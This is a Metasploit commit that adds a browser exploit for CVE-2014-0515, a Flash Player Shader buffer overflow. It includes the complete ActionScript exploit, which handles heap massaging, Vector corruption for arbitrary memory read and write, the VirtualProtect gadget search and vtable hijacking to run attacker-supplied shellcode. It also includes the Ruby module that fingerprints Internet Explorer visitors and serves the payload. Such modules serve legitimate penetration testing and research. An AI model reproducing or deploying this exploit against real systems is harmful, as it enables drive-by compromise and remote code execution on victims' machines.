Add module for CVE-2014-0515

This commit is contained in:
jvazquez-r7 2014-05-07 17:13:16 -05:00
parent a8e7dc8ec5
commit 5fd732d24a
6 changed files with 549 additions and 1 deletions

Binary file not shown.

View File

@ -0,0 +1,410 @@
package {
import flash.display.Sprite;
import flash.utils.ByteArray;
import flash.display.Shader;
import flash.system.Capabilities;
import flash.net.FileReference;
import flash.utils.Endian;
import __AS3__.vec.Vector;
import __AS3__.vec.*;
import flash.display.LoaderInfo;
public class Graph extends Sprite {
static var counter:uint = 0;
protected var Shad:Class;
var shellcode_byte_array:ByteArray;
var aaab:ByteArray;
var shellcodeObj:Array;
public function Graph(){
var tweaked_vector:* = undefined;
var tweaked_vector_address:* = undefined;
var shader:Shader;
var flash_memory_protect:Array;
var code_vectors:Array;
var address_code_vector:uint;
var address_shellcode_byte_array:uint;
this.Shad = Graph_Shad;
super();
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
var i:* = 0;
var j:* = 0;
// Just one try
counter++;
if (counter > 1)
{
return;
};
// Memory massage
var array_length:uint = 0x10000;
var vector_size:uint = 34;
var array:Array = new Array();
i = 0;
while (i < array_length)
{
array[i] = new Vector.<int>(1);
i++;
};
i = 0;
while (i < array_length)
{
array[i] = new Vector.<int>(vector_size);
i++;
};
i = 0;
while (i < array_length)
{
array[i].length = 0;
i++;
};
i = 0x0200;
while (i < array_length)
{
array[(i - (2 * (j % 2)))].length = 0x0100;
i = (i + 28);
j++;
};
// Overflow and Search for corrupted vector
var corrupted_vector_idx:uint;
var shadba:ByteArray = (new this.Shad() as ByteArray);
shadba.position = 232;
if (Capabilities.os.indexOf("Windows 8") >= 0)
{
shadba.writeUnsignedInt(2472);
};
shadba.position = 0;
while (1)
{
shader = new Shader();
try
{
shader.byteCode = (new this.Shad() as ByteArray);
} catch(e)
{
};
i = 0;
while (i < array_length)
{
if (array[i].length > 0x0100)
{
corrupted_vector_idx = i;
break;
};
i++;
};
if (i != array_length)
{
if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break;
};
array.push(new Vector.<int>(vector_size));
};
// Tweak the vector following the corrupted one
array[corrupted_vector_idx][vector_size] = 0x40000001;
tweaked_vector = array[(corrupted_vector_idx + 1)];
// repair the corrupted vector by restoring its
// vector object pointer and length
var vector_obj_addr:* = tweaked_vector[0x3fffffff];
tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr;
tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size;
i = 0;
var val:uint;
while (true)
{
val = tweaked_vector[(0x40000000 - i)];
if (val == 0x90001B) break;
i++;
};
tweaked_vector_address = 0;
if (tweaked_vector[((0x40000000 - i) - 4)] > 0)
{
tweaked_vector[4] = 0x41414141;
tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8);
};
// More memory massage, fill an array of FileReference objects
var file_reference_array:Array = new Array();
i = 0;
while (i < 64)
{
file_reference_array[i] = new FileReference();
i++;
};
var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address);
var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20));
var do_it:Boolean = true;
var memory_protect_ptr:uint;
var aaaq:uint;
if (do_it)
{
flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address);
memory_protect_ptr = flash_memory_protect[0];
aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment
code_vectors = this.createCodeVectors(0x45454545, 0x90909090);
address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545);
this.fillCodeVectors(code_vectors);
tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call
tweaked_vector[4] = aaaq;
tweaked_vector[0] = 0x1000; // Length
tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address
// 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=????????
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));
// 1) Set memory as executable
i = 0;
while (i < 64)
{
file_reference_array[i].cancel();
i++;
};
// 2) Execute shellcode
tweaked_vector[7] = address_code_vector;
i = 0;
while (i < 64)
{
file_reference_array[i].cancel();
i++;
};
// Restore FileReference cancel function pointer
// Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address);
};
}
// returns the integer at memory address
// vector: vector with tweaked length
// vector_address: vector's memory address
// address: memory address to read
function read_memory(vector:Vector.<int>, vector_address:uint, address:uint):uint{
if (address >= vector_address)
{
return (vector[((address - vector_address) / 4)]);
};
return (vector[(0x40000000 - ((vector_address - address) / 4))]);
}
function write_memory(vector:Vector.<int>, vector_address:uint, address:uint, value:uint){
if (address >= vector_address)
{
vector[((address - vector_address) / 4)] = value;
} else
{
vector[(0x40000000 - ((vector_address - address) / 4))] = value;
};
}
function findFlashMemoryProtect(vector:*, vector_address:*):Array{
var content:uint;
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
var index:uint;
var memory_protect_ptr:uint;
var _local_6:uint;
if (allocation >= vector_address)
{
index = ((allocation - vector_address) / 4);
} else
{
index = (0x40000000 - ((vector_address - allocation) / 4));
};
//push 1 ; 6a 01
//push dword ptr [eax-8] ; ff 70 f8
//push dword ptr [eax-4] ; ff 70 fc
//call sub_1059DD00 // Will do VirtualProtect
var offset:uint;
while (1)
{
index--;
content = vector[index];
if (content == 0xfff870ff)
{
offset = 2;
break;
};
if (content == 0xf870ff01)
{
offset = 1;
break;
};
if (content == 0x70ff016a)
{
content = vector[(index + 1)];
if (content == 0xfc70fff8)
{
offset = 0;
break;
};
} else
{
if (content == 0x70fff870)
{
offset = 3;
break;
};
};
};
memory_protect_ptr = ((vector_address + (4 * index)) - offset);
index--;
var content_before:uint = vector[index];
if (content_before == 0x16a0424)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0x6a042444)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0x424448b)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0xff016a04)
{
return ([memory_protect_ptr, _local_6]);
};
_local_6 = (memory_protect_ptr - 6);
while (1)
{
index--;
content = vector[index];
if (content == 0x850ff50)
{
if (uint(vector[(index + 1)]) == 0x5e0cc483)
{
offset = 0;
break;
};
};
content = (content & 0xFFFFFF00);
if (content == 0x50FF5000)
{
if (uint(vector[(index + 1)]) == 0xcc48308)
{
offset = 1;
break;
};
};
content = (content & 0xFFFF0000);
if (content == 0xFF500000)
{
if (uint(vector[(index + 1)]) == 0xc4830850)
{
if (uint(vector[(index + 2)]) == 0xc35d5e0c)
{
offset = 2;
break;
};
};
};
content = (content & 0xFF000000);
if (content == 0x50000000)
{
if (uint(vector[(index + 1)]) == 0x830850ff)
{
if (uint(vector[(index + 2)]) == 0x5d5e0cc4)
{
offset = 3;
break;
};
};
};
};
memory_protect_ptr = ((vector_address + (4 * index)) + offset);
return ([memory_protect_ptr, _local_6]);
}
// vector: vector with tweaked length
// address: memory address of vector data
function find_file_ref_vtable(vector:*, address:*):uint{
var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));
// Find an allocation of size 0x2a0
var allocation_size:uint;
while (true)
{
allocation_size = this.read_memory(vector, address, (allocation + 8));
if (allocation_size == 0x2a0) break;
if (allocation_size < 0x2a0)
{
allocation = (allocation + 0x24); // next allocation
} else
{
allocation = (allocation - 0x24); // prior allocation
};
};
var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc));
while (true)
{
if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;
if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;
allocation_contents = this.read_memory(vector, address, (allocation_contents + 8));
};
return (allocation_contents);
}
// Returns pointer to the nops in one of the allocated code vectors
function findCodeVector(vector:*, vector_address:*, mark:*):uint{
var allocation_size:uint;
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
while (true)
{
allocation_size = this.read_memory(vector, vector_address, (allocation + 8));
if (allocation_size == 0x7f0) break; // Code Vector found
allocation = (allocation + 0x24); // next allocation
};
// allocation contents should be the vector code, search for the mark 0x45454545
var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc));
while (true)
{
if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break;
allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation
};
return ((allocation_contents + 0x2c));
}
// create 8 vectors of size 0x7f0 inside an array to place shellcode
function createCodeVectors(mark:uint, nops:uint){
var code_vectors_array:Array = new Array();
var i:* = 0;
while (i < 8)
{
code_vectors_array[i] = new Vector.<uint>(((0x7f0 / 4) - 8)); // new Vector.<uint>(0x1f4)
code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4
code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4
i++;
};
return (code_vectors_array);
}
// Fill with the code vectors with the shellcode
function fillCodeVectors(array_code_vectors:Array) {
var i:uint = 0;
var sh:uint=1;
while(i < array_code_vectors.length)
{
for(var u:String in shellcodeObj)
{
array_code_vectors[i][sh++] = Number(shellcodeObj[u]);
}
i++;
sh = 1;
}
}
}
}//package

View File

@ -0,0 +1,10 @@
package
{
import mx.core.ByteArrayAsset;
[Embed(source="binary_data", mimeType="application/octet-stream")]
public class Graph_Shad extends ByteArrayAsset
{
}
}

Binary file not shown.

View File

@ -93,7 +93,6 @@ class Metasploit3 < Msf::Exploit::Remote
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
print_status("showme the money")
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end

View File

@ -0,0 +1,129 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player Shader Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow vulnerability in Adobe Flash Player. The
vulnerability occurs in the flash.Display.Shader class, when setting specially
crafted data as its bytecode, as exploited in the wild in April 2014. This module
has been tested successfully on IE 6 to IE 10 with Flash 11 and Flash 12 over
Windows XP SP3, Windows 7 SP1 and Windows 8.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2014-0515'],
['BID', '67092'],
['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'],
['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ]
],
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true,
'PrependEncoder' => stack_adjust
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'Retries' => false,
'EXITFUNC' => "thread"
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\./ || ver =~ /^12\./ }
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Apr 28 2014",
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def stack_adjust
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
adjust
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end
print_status("Sending HTML...")
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
flash_payload = ""
get_payload(cli,target_info).unpack("V*").each do |i|
flash_payload << "0x#{i.to_s(16)},"
end
flash_payload.gsub!(/,$/, "")
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=flash_payload%>" />
<param name="Play" value="true" />
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0515", "Graph.swf" )
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end